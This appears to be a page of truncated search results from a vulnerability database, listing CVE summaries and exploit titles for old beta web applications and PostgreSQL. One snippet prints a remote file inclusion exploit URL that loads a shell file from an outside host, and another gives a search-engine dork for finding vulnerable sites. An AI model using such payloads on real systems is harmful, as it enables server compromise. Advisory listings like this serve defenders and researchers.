3474 matches found
CVE-2010-2618
CVE-2010-2618 describes a remote file inclusion (RFI) in AdaptCMS. The vulnerability is triggered in the PHP file inc/smarty/libs/init.php when register_globals is enabled, allowing an attacker to supply a URL in the sitepath parameter to execute arbitrary PHP code on the server. Multiple connect...
HAVECMS 2.0 Beta <= SQL Injection Vulnerability
Exploit for php platform in category web applications =============================================== HAVECMS 2.0 Beta = SQL Injection Vulnerability =============================================== Author: Aurel 666 Exploit Title: SQL Injection Vendor url:http://havecms.jember.info/ Indonesia...
EZPX Photoblog 1.2 beta remote file inclusion vulnerability-vulnerability warning-the black bar safety net
EZPX Photoblog 1.2 beta commentform.php the page exists remote file include vulnerability EXP:http://127.0.0.1/system/application/views/public/commentform.php?tplbasedir=http://www.hacking.cn/shell.txt? Official website:...
CVE-2010-2341
The CVE-2010-2341 entry concerns EZPX Photoblog 1.2 beta, where a PHP remote file inclusion vulnerability in system/application/views/public/commentform.php allows an attacker to execute arbitrary PHP code by supplying a URL in the tpl_base_dir parameter. The underlying issue is improper handling...
EZPX photoblog 1.2 beta Remote Include Exploit
Exploit for php platform in category web applications ============================================== EZPX photoblog 1.2 beta Remote Include Exploit ============================================== EZPX photoblog 1.2 beta Remote Include Exploit Vendor Url: http://ezpx.org/ Found by sh00t0ut Expl:...
CVE-2009-4891
CS-Cart 2.0.0 Beta 3 is affected by an SQL injection in index.php via the product_id parameter in the products.view action. The vulnerability allows remote attackers to execute arbitrary SQL commands on the backend. The issue is documented across multiple sources (e.g., Exploit-DB exploit 8184 an...
reVou Twiter Clone Beta 2.0 Cross Site Scripting / SQL Injection
Title:reVou twitter clne Beta 2.0 sqli and Xss vulnerability Author: Sid3^effects Published: 2010-06-06 price:$99 email:[email protected] vendor: Revou url : http://www.revou.com/demo/home google dork : Powered by TextAds 2.08 ooooo .oooooo. oooooo oooooo oooo 888' d8P' Y8b 888. 888. .8' 888 888...
CVE-2010-2145
Multiple PHP remote file inclusion vulnerabilities in ClearSite Beta 4.50, and possibly other versions, allow remote attackers to execute arbitrary PHP code via a URL in the csbasepath parameter to 1 docs.php and 2 include/admin/deviceadmin.php. NOTE: the header.php vector is already covered by...
CVE-2010-2145
CVE-2010-2145 affects ClearSite Beta 4.50 (and potentially other versions) with multiple PHP remote file inclusion (RFI) vulnerabilities. The issue allows an attacker to execute arbitrary PHP code via a URL in the cs_base_path parameter passed to docs.php and to include/admin/device_admin.php. Th...
CVE-2010-2145
Multiple PHP remote file inclusion vulnerabilities in ClearSite Beta 4.50, and possibly other versions, allow remote attackers to execute arbitrary PHP code via a URL in the csbasepath parameter to 1 docs.php and 2 include/admin/deviceadmin.php. NOTE: the header.php vector is already covered by...
Remote file inclusion
Multiple PHP remote file inclusion vulnerabilities in Open Education System OES 0.1 beta allow remote attackers to execute arbitrary PHP code via a URL in the CONFINCLUDEPATH parameter to 1 forum/admin.php and 2 plotgraph/index.php in admin/modules/modules/, and 3 adminuser/modadmuser.php and 4...
Beta Users Refute MS Click Fraud Claims
Beta customers named in two click fraud lawsuits Microsoft filed this week maintain their innocence, and both say they assisted the software company in investigating the source of the problem. Read the full article. IDG News Service...
Office 2010 Beta Email Is Windows Trojan
An e-mail with the subject “See Office 2010 Beta in action” uses an alleged Office 2010 Beta version used as bait. Read the full article. Help Net Security...
CVE-2010-1169
PostgreSQL 7.4 before 7.4.29, 8.0 before 8.0.25, 8.1 before 8.1.21, 8.2 before 8.2.17, 8.3 before 8.3.11, 8.4 before 8.4.4, and 9.0 Beta before 9.0 Beta 2 does not properly restrict PL/perl procedures, which allows remote authenticated users, with database-creation privileges, to execute arbitrar...
Code injection
The PL/Tcl implementation in PostgreSQL 7.4 before 7.4.29, 8.0 before 8.0.25, 8.1 before 8.1.21, 8.2 before 8.2.17, 8.3 before 8.3.11, 8.4 before 8.4.4, and 9.0 Beta before 9.0 Beta 2 loads Tcl code from the pltclmodules table regardless of the table's ownership and permissions, which allows remo...
CVE-2010-1927
Multiple PHP remote file inclusion vulnerabilities in openMairie openCourrier 2.02 and 2.03 beta, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the pathom parameter to 1 bible.class.php, 2 dossier.class.php, 3 service.class.php, 4...
XT-Commerce v1 Beta 1 permission to bypass the Modify download backup vulnerability-vulnerability warning-the black bar safety net
Premiere: the Red section of the network security Author: Amxking Submitted to: indoushka Vulnerability program: XT-Commerce v1 Beta 1 Affected version: v1 Beta 1 Risk level: medium Vulnerability description: Amxking:the vulnerability is I and the foreign Avengers team communication time obtained...
Sql injection
Multiple SQL injection vulnerabilities in EZ-Blog Beta 1, when magicquotesgpc is disabled, allow remote attackers to execute arbitrary SQL commands via 1 the storyid parameter to public/view.php or 2 the kill parameter to admin/remove.php...